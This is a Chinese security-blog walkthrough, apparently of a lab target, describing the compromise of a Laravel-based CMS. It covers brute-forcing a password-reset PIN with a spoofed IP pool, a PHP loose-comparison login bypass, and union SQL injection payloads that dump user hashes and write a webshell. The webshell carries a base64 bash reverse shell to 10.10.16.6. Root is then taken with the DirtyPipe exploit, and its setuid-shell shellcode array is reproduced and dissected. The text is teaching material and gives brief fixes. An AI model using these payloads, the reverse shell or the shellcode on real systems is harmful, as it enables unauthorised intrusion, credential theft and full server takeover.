freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

记一次基于Laravel框架的cms渗透
2022-04-02 15:50:44
所属地 云南省

本文给出了一个基于Laravel框架的cms渗透实例,平时遇到框架性的cms时,总感觉框架不会存在漏洞,渗透的难度很大。其实只要我们细心观察,框架也许没有漏洞,但基于框架的cms加入了自己的代码,就很有可能会存在漏洞,这在实践中已多次得到了证明。下面就开始此次渗透之旅。

一、信息收集

先常规操作,端口和目录扫描一波;

并没有特别的发现,看来只能从web入手了。

二、漏洞挖掘

打开网页;

1648829368_624723b8931e8cc98bbbb.png!small?1648829372955

通过插件,可以反映出网站是Laravel框架搭建的,主页面就一个登录框,常规工具扫了一遍,并没有发现注入SQL注入、XSS等可以利用的漏洞,但输入错误的用户名时,会提示用户名不正确,那么就可以尝试爆破一波用户名;

幸运的爆破出用户admin和big0us,继续尝试爆破密码,但都没有成功。

点击忘记密码;

网站会发送验证码到邮箱,需要填写验证码才可以重置密码,于是尝试爆破下验证码;

爆破到一半时网页会报错;

看来对ip访问的频次做了限制,需要用到ip池来爆破。

wfuzz伪造源ip爆破

先生成一个ip池;

然后用wfuzz开始爆破,注意参数的设置;

成功爆破出了验证码。

重置用户的密码;

1648829950_624725fe5398a030e7f70.png!small?1648829954382

之后就可以成功登录用户的后台页面;

查看页面源码;

抓包实际测试一下;

Laravel框架的sql注入

简单介绍下Laravel框架,Laravel是基于mvc模式的php框架,m——模型层,v——视图层,c——控制器层;以下为laravel框架的目录文件,核心就是弄清楚路由的配置,然后查看app文件夹里的控制代码。

app是应用的核心代码文件目录,以后的代码基本都在这里完成;

app/Http/Controller目录是应用的控制器文件;

routes.php是框架的路由文件,负责路由分配和映射;

Http下的类文件,比如上面目录中的User.php、Menu.php文件是应用的模型文件;

config目录是所有应用的配置文件目录;

public是框架的入口文件及静态资源文件目录;

resources/views则是应用的视图文件目录。

这里先介绍一个之前做过的基于Laravel框架的cms渗透例子,

原始的关键数据包如下:

我们尝试对提交的数据进行修改;

发现了一个越权漏洞,可以成功越权登录,后来拿下服务器后查看源码;

/**
     * Handle account login
     * 
     */
    public function customLogin(Request $request)
    {
        $request->validate([
            'password' => 'required',
        ]);

        if ($request->get('password') == "UHC-March-Global-PW!") {
            session(['loggedin' => True]);
            return "Login Successful";
        }

        return "Invalid Password";
    }

漏洞产生的原因在于php弱类型比较;

php > if ("true" == "UHC-March-Global-PW!") {echo "Authenticated";} else {echo "Rejected!";};
Rejected!

利用弱类型比较的漏洞来实现越权;

php > if (true == "UHC-March-Global-PW!") {echo "Authenticated";} else {echo "Rejected!";};
Authenticated

修复方法为将弱类型换成===即可。

回到这次渗透,我们采用同样的思路来试试;

注意要改下提交的格式为json;

并没有实现越权,看到id,忍不住在试试SQL注入;

1648831581_62472c5da466eae3cb934.png!small?1648831585887

服务器报错了,在换"12 or 1=1;-- -"试试;

服务器正常返回,这不就是SQL注入的前兆吗。。

接下来尝试最简单的union注入;

完美的开始;

{"id":"0 union select 1,2,group_concat(concat('\n', table_name, ':', column_name)) from information_schema.columns where table_schema = 'uhc';-- -", "secret":true}

{"id":"0 union select 1,2,group_concat(concat('\n', name, ':', password)) from users;-- -", "secret":true}

尝试破解,但并没有成功,如果想执行webshell,可以尝试利用SQL注入读写文件;

读取配置文件成功,下面尝试写文件;

{"id":"0 union select 1,2,'<?php phpinfo(); ?>' into outfile '/srv/altered/public/0xdf-info.php';-- -", "secret":true}

可以写入文件,那直接写入反弹的webshell;

echo "bash -c 'bash -i >& /dev/tcp/10.10.16.6/1234 0>&1'" | base64

YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi42LzEyMzQgMD4mMScK

做下编码后写入反弹的shell;

{"id":"0 union select 1,2,'<?php system(base64_decode(\"YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi42LzEyMzQgMD4mMScK\")); ?>' into outfile '/srv/altered/public/shell123.php';-- -", "secret":true}

然后访问shell,成功反弹;

查看下网站目录,发现了我们写入的shell;

三、提权

先查看下内核版本;

这里直接可以用Linux DirtyPipe权限提升漏洞 CVE-2022-0847,漏洞影响范围:5.8 <= Linux 内核版本 < 5.16.11 / 5.15.25 / 5.10.102

根据漏洞的利用方法,先看下具有suid权限的程序;

然后按照漏洞的利用方法开始提权;

1648836033_62473dc14af99af077037.png!small?1648836037351

成功获取了root权限。

四、漏洞分析

拿下服务器后,我们将源码下载回来在进行分析;

先查看路由;

srv\altered\routes\web.php

<?php

use App\Http\Controllers\TasksController;
use App\Http\Controllers\AuthController;
use Illuminate\Support\Facades\Route;

/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/

Route::get('/', [TasksController::class, 'index']);
Route::get('/login', [AuthController::class, 'show_login'])->name('login');
Route::post('/login', [AuthController::class, 'customLogin'])->name('customLogin');


Route::get('/reset', [AuthController::class, 'show_reset'])->name('reset');
Route::post('/reset', [AuthController::class, 'resetPasswordCheckName'])->name('resetPasswordCheckName');

Route::get('/changepw', [AuthController::class, 'show_changepw'])->name('show_changepw');
Route::post('/changepw', [AuthController::class, 'changepw'])->name('changepw');

知道路由后,在查看对应的源码;

\srv\altered\app\Http\Controllers\AuthController.php

登录;

/**
     * Handle account login
     * 
     */
    public function customLogin(Request $request)
    {
        $request->validate([
            'name' => 'required',
            'password' => 'required',
        ]);
   
        $credentials = $request->only('name', 'password');
        if (Auth::attempt($credentials)) {
            session(['loggedin' => True]);
            session(['id' => User::where('name',$request->get('name'))->first()]);
            return redirect()->intended('/')
                        ->withSuccess('Signed in');
        }
  
        if (User::where('name', '=', $request->get('name'))->first()) {
            return view("auth.login", ['msg'=>'Invalid Password.']); 
        };

        return view("auth.login", ['msg'=>'Invalid Username']);
    }

重置密码;

/**
     * Handle Account Reset
     * 
     */
    public function resetPasswordCheckName(Request $request)
    {
        $request->validate([
            'name' => 'required',
        ]);

        if (User::where('name', '=', $request->get('name'))->first()) {
            session(['pin' => md5( rand(1000,9999) . $request->get('name')) ]);
            return view("auth.reset", ['msg'=>$request->get('name'), 'err'=>'Enter the pincode emailed to you']); 
        };

        return view("auth.reset", ['err'=>'Invalid Username']);
    }

存在SQL注入的部分;

/**
     * Retreive a users bio
     * 
     */
    public function getprofile(Request $request)
    {
        $request->validate([
            'id' => 'required',
            'secret' => 'required',
        ]);
        
        $secure = md5($request->get('id') . 'SuperSecretThingUHCr0x');

        if ( $secure == $request->get('secret') ) {
            $user = DB::table('users')
                ->select('name','country', 'bio')
                ->whereRaw('id =' . $request->get('id') )->first(); 

            return $user->bio   ;
        }

        return "Tampered user input detected";
    }

  }

可以看到,参数id没有过滤而直接带入,导致了sql注入;

修复方法:编写正则表达式来校验用户的输入。

彩蛋

在Linux DirtyPipe权限提升漏洞 CVE-2022-0847的利用代码中有这样一个数组;

// small (linux x86_64) ELF file matroshka doll that does;
//   fd = open("/tmp/sh", O_WRONLY | O_CREAT | O_TRUNC);
//   write(fd, elfcode, elfcode_len)
//   chmod("/tmp/sh", 04755)
//   close(fd);
//   exit(0);
//
// the dropped ELF simply does:
//   setuid(0);
//   setgid(0);
//   execve("/bin/sh", ["/bin/sh", NULL], [NULL]);
unsigned char elfcode[] = {
    /*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
    0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02,
    0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48,
    0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2,
    0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f,
    0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d,
    0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00,
    0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff,
    0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d,
    0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e,
    0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38,
    0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
    0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,
    0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69,
    0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a,
    0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00,
    0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0,
    0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00,
    0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00
};

这个数组是到底是啥意思?下面我们来研究下;

先把数组转为16进制的字符串;

7f454c4602010100000000000000000002003e0001000000780040000000000040000000000000000000000000000000000000004000380001000000000000000100000005000000000000000000000000004000000000000000400000000000970100000000000097010000000000000010000000000000488d3d5600000048c7c64102000048c7c0020000000f054889c7488d354400000048c7c2ba00000048c7c0010000000f0548c7c0030000000f05488d3d1c00000048c7c6ed09000048c7c05a0000000f054831ff48c7c03c0000000f052f746d702f7368007f454c4602010100000000000000000002003e0001000000780040000000000040000000000000000000000000000000000000004000380001000000000000000100000005000000000000000000000000004000000000000000400000000000ba00000000000000ba0000000000000000100000000000004831ff48c7c0690000000f054831ff48c7c06a0000000f05488d3d1b0000006a004889e2574889e648c7c03b0000000f0548c7c03c0000000f052f62696e2f736800

然后利用xdd来转换;

转换后用IDA或Ghidra打开;

这是IDA的;

这是Ghidra的;

效果都差不多,上述代码,可以转换为如下代码;

fd = syscall(0x2, 0x241, "/tmp/sh")
syscall(0x1, fd, buffer, 0xba)
syscall(0x3, fd)
syscall(0x5a, 0x9ed, "/tmp/sh")
syscall(0x3c, 0x0)

根据指令规则;

1648837358_624742ee167beecc26d6c.png!small?1648837361966

1648837388_6247430c7553a01e68b51.png!small?1648837392580

上述代码实际就是;

fd = open("/tmp/sh", flags=0x241)
write(fd, 0x4000dd, 0xba)
close(fd)
chmod("/tmp/sh", 0x9ed) // 0x9ed == 4755 in octal
exit(0)

以后在看到类似数组的shellcode,不至于手足无措了。


# SQL注入 # shellcode # wfuzz # laravel # dirty pipe
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录